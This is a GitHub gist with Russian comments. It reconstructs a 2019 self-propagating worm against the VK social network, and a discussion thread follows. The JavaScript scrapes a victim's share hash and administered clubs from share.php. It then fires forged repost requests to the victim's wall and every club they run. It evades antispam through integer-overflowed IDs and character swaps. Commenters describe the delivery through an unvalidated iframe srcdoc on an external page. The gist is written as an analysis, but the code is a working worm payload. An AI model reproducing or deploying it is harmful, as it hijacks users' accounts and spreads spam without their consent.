Skip to content

Instantly share code, notes, and snippets.

@Amaimersion
Last active June 13, 2019 18:16
Show Gist options
  • Star 14 You must be signed in to star a gist
  • Fork 3 You must be signed in to fork a gist
  • Save Amaimersion/a57cfef67c24933a641b4ea8eb503e7e to your computer and use it in GitHub Desktop.
Save Amaimersion/a57cfef67c24933a641b4ea8eb503e7e to your computer and use it in GitHub Desktop.
/**
* Текст поста.
*/
var news_text = [
"Всё меньше причин оставаться ВК.. Ждем пока mail group окончательно загонят сайт в яму и переходим на telegram",
"Дурову пора создавать новый вконтакте, этот уже испортили",
"Прости, Паша, мы все прое*али",
"Ну это уже ни в какие рамки",
"ВКонтакте окончательно загнулись",
"Мда, меилру продолжает губить все, к чему прикасается",
"Это пи*дец, товарищи",
"Раньше было лучше",
"стало очень неудобно",
"лучше бы делом занялись",
"я просто в шоке",
"без комментариев",
"Как же достали со своими обновлениями",
"Фуфло полное ,не трогайте сообщения!",
"сначала музыка, теперь ЭТО",
"С такими говновведениями, что тут бодяжат последнее время, со всякими дебильными ветоШными комментами, тупыми закладками, невидимыми репостами и т.д., все и так сбегут скоро"
];
/**
* Название ссылки, которая будет в посте.
*/
var news_link_text = [
"Социальная сеть ВKонтакте зaпустила реклaму в личных сообщенияx пользоватeлей",
"СМИ: ВКонтакте запустили pекламу в личных соoбщениях",
"ВКонтакте запустили рекламу в сообщениях",
"ВКонтакте появилась реклама в сообщениях",
"ВКонтакте ввели рекламу в сообщениях",
"ВКонтакте тестирует рекламу в личныx сообщениях",
"ВКонтакте представили рекламу в личных сообщениях",
"Реклaма в личных сoобщениях появилась ВКонтакте",
"Пользователей BКонтакте взбесила реклама в личных сообщениях",
"Пользователи ВКонтакте протестуют против рекламы в личных сообщениях",
"Реклама в личных сообщениях вывела из себя пользователей ВКонтакте",
"ВКонтакте: мы запускаем рекламу в личных сообщениях",
"ВКонтакте: теперь рекламодатели могут размещать рекламу в сообщениях пользователей",
"ВКонтакте прокомментировали жалобы пользoвателей на рекламy в сообщeниях",
"Пользователи ВКонтакте в ярости из-за рекламы в личных сообщениях",
"Пользователи бегут из социальной сети ВКонтакте из-за рекламы в личных сообщениях"
];
/**
* Отправка URL через HTTPRequest.
*/
function send_URL(url) {
var b = new XMLHttpRequest;
b.open("GET", url);
b.send();
}
/**
* Создаем URL API-метода "поделиться" от лица пользователя.
*/
function create_share_url(user_hash, club_address) {
return (
"https://vk.com/share.php?act=a_submit&al=1" +
"&hash=" + // уникальный хэш пользователя.
user_hash +
"&photo_id=" +
io(456239755) +
"&photo_owner_id=" +
io(484644478) +
"&share_comment=" + // текст поста.
encodeURIComponent(change_text(random_element(news_text))) +
"&title=" + // текст ссылки.
encodeURIComponent(random_element(news_link_text)) +
(club_address ? "&to=" + club_address + "" : "") + // админы клубов репостят в свои клубы.
"&url=" + // куда ведет ссылка.
encodeURIComponent(
"https://vk.com/public" +
io(22822305) +
"?w=article727491309_905121871&_fm=" +
(Math.random() * 100)
)
);
}
/**
* "rzhaka: это int overflow для частичного обхода антиспама".
*/
function io(number) {
return 4294967296 * Math.floor(1e6 * Math.random()) + number;
}
/**
* Выбор рандомного элемента из массива.
*/
function random_element(array) {
return array[Math.floor(Math.random() * array.length)];
}
/**
* Что-то делает со строкой.
* Скорее всего рандомно заменяет некоторые символы исходного текста на другие, чтобы избежать автоматического удаления поста.
*/
function change_text(text) {
let symbols = {
а: ["я", "a"],
о: ["а", "a", "o", "0"],
я: ["е", "а", "е", "a"],
и: ["ы"],
ы: ["и"],
ъ: ["ь"],
ь: ["ъ"],
д: ["т"]
};
for (let i = 0; i < text.length; i++) {
(
null != symbols[text[i]] &&
.3 > Math.random() &&
(text = text.replaceAt(i, symbols[text[i]][Math.floor(Math.random() * symbols[text[i]].length)]))
);
}
return text;
}
/**
* Изменяем поведение обычного `replaceAt()`.
*
* - это нужно только для `change_text()`.
*/
String.prototype.replaceAt = function(c, a) {
return this.substr(0, c) + a + this.substr(c + a.length);
};
var share_method = new XMLHttpRequest;
share_method.open("GET", "share.php"); // метод "поделиться".
share_method.send(); // отправляем запрос ВК.
share_method.onload = function() { // получаем ответ (типа text/html) от ВК вместе со всей приватной(?) инфой.
var clubs = JSON.parse(
share_method.responseText.match(
/clubs: (.*?),\n/
)[1]
); // доступные клубы.
var hash = share_method.responseText.match(
/window.shareHash = \'(.*?)\';/
)[1]; // уникальный хэш пользователя для "поделиться"?
clubs.forEach(function(club) { // админы репостят в свои клубы.
send_URL(create_share_url(hash, club[0]));
});
send_URL(create_share_url(hash, 0)); // пользователь репостит себе.
};
Copy link

ghost commented Feb 14, 2019

молодец

@Amaimersion
Copy link
Author

Amaimersion commented Feb 14, 2019

@rzhaka

int overflow
обхода антиспама

Интересно. А разве ВК в таком случае не отвергнет запрос и не отправит в ответ ошибку? Ведь ID фото не найдено и видно, что оно не валидно. Как это работает?

@Ymaril
Copy link

Ymaril commented Feb 14, 2019

Слабо. Не объясняется зачем ссылка в create_share_url генерится именно так, а конкретно что происходит с айдишниками и зачем. И самое главное, чем завлекал сюда из issue в оригинальном репозитории - описание уязвимости. Её нет. Понятно как выполняется код, но не понятно как удалось заставить его выполнится.

@Ymaril
Copy link

Ymaril commented Feb 14, 2019

@rzhaka

int overflow
обхода антиспама

Интересно. А разве ВК в таком случае не отвергнет запрос и не отправит в ответ ошибку? Ведь ID фото не найдено и видно, что оно не валидно. Как это работает?

Он эти большие айдишники ощущает как обычные маленькие. Причём большие могут различаться - но обрабатываться они будут корректно и под этими айдишниками будут реальные записи. Функция io и занимается генерированием таких айдишников.

Скорее всего это просто одна из попыток не спалиться на антиспаме. Типо айдишники разные вводятся

Copy link

ghost commented Feb 15, 2019

Слабо. Не объясняется зачем ссылка в create_share_url генерится именно так, а конкретно что происходит с айдишниками и зачем. И самое главное, чем завлекал сюда из issue в оригинальном репозитории - описание уязвимости. Её нет. Понятно как выполняется код, но не понятно как удалось заставить его выполнится.

Тут скорее всего задействовали уязвимости на двух сервисах: на LiveJournal чтобы вставить этот скрипт, и Instant Preview ВКонтакте чтобы этот скрипт выполнить. А вообще лучше нажимать на подозрительных ссылках "Открыть ссылку в окне в режиме инкогнито", тогда XSRF-токен точно не утечёт.

@Amaimersion
Copy link
Author

Amaimersion commented Feb 15, 2019

@Ymaril

зачем ссылка в create_share_url генерится именно так

А разве из самой ссылки не понятно? Там даже подписано: какие аргументы вставляются и для чего они служат.

  • hash – уникальный хэш пользователя;
  • photo_id, photo_owner_id – ID фото, которые будут использоваться;
  • share_comment, title – тексты для поста;
  • to (только для админов сообществ) – репост в группу с таким-то адресом;
  • url – на какой URL ведет эта ссылка. Этот URL откроет пользователь; откроется сторонняя страница; запустится этот код.

Это обычная эмуляция пользователя. Как если бы пользователь нажал на кнопку "Поделиться", frontend сгенерировал бы эту ссылку (что-то вроде API-метода) и отправил бы на выполнение backend.

а конкретно что происходит с айдишниками и зачем.

А это я не понял. Думал, что это рандомные значения ID для разных фотографий, но @rzhaka и ты уже объяснили, что это обход антиспама.

описание уязвимости

ВК на frontend присылает мой хэш, который может использоваться для репостов (видимо, нигде больше); присылает все адреса клубов, в которых я администратор; присылает много другой инфы (не сильно критичной, но все же), чтобы все это обрабатывать не на backend, а на frontend пользователя; ВК не контролирует частоту запросов: из кода видно, что там не было никаких пауз, а значит, что запросы делались практическо одновременно (с разницей в несколько мс.). Очевидно, что обычный человек при всем желании так сделать не сможет; как-то чудно (ИМХО) обрабатываются большие ID.

Ну а вообще, так можно написать свой собственный (адаптация под массы не будет легкой) мини-клиент или расширение для браузера, который(ое) автоматизирует эти рутинные задачи. Насколько я знаю, ВК не особо любит такое.

как удалось заставить его выполнится

URL перенаправлял на LiveInternet (определенная страница, которая была создана заранее), а там был встроен элемент iframe с src на YouTube (https://youtube.com/embed/1) и srcdoc с inline HTML. Если браузер поддерживает srcdoc, то загружается srcdoc, а не src. Далее браузер рендерит srcdoc (а он никак не валидировался) и HTML-код, который содержится в srcdoc, начинается выполняться. Этот HTML содержит только скрипт, который создает HTML-элемент script, устанавливает его src уже на этот скрипт и прикрепляет его в head. Ну а далее этот скрипт загружается и запускается.

Причем пользователь даже не замечает всего этого, ведь все это делается очень быстро и без всяческих намеков. Он просто видит, что перешел на какую-то другую (за пределы ВК) страницу. А когда возвращается к себе в загон, то обнаруживает, что от его имени были сделаны репосты. Ну а далее уже цепная реакция.

Это мое добавление к @45Green

Чушь, на самом деле. Грамотно настроенная CSP (Content Security Policy) и шанса не дала бы такому.

Он эти большие айдишники ощущает как обычные маленькие.

Интересно. Но зачем такая логика? Почему на это не хотят выбрасывать ошибку?

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment